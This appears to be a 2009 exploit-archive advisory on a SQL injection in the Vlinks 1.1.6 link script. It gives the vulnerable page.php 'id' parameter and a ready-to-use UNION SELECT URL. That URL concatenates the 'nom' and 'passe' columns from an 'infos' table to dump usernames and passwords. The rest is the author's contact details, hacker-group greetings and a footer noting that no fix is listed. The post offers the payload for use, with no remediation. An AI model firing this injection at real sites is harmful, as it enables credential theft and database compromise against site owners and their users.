Vlinks 1.1.6 (id) Remote SQL Injection Vulnerability

2009-02-13 17:34:51

#########################################################################################
[!x!] Informations:

Name : vlinks
Download : http://www.vlinks.org/ =>http://www.vlinks.org/vlinks-v1.1.6.rar
Vulnerability : Sql Injection
Author : JIKO(JAWAD)
Contact : [email protected]
Site : No-ExploiT.CoM/Forum (langague arabic)
Notes : 3arabi Muslim Maghribi (bladi blad lmgharba kamlin Dini Din lmsalmin Kamlin)
#########################################################################################
[!x!] Bug:

Bugged file is /[path]/page.php?

[Note]
Pass Simple
[/Note]

#########################################################################################
[!x!] Exploit:

Exploit: http://no-exploit.com/forum/page.php?nc=vbvb&id=-1 union select 0,concat(nom,0x3a,passe),2,3+from+infos--

########################################################################################
[!x!] To: فلسطين الحرة
Cyber-Zone(Abdelkhalek) ,Hussin X ,leopard ,FrFoRHaCKeR ,ShBh BaGhDaD ,RoMyOoOo
members [No-exploit.Com]

#

Fixes

No fixes

In order to submit a new fix you need to be registered.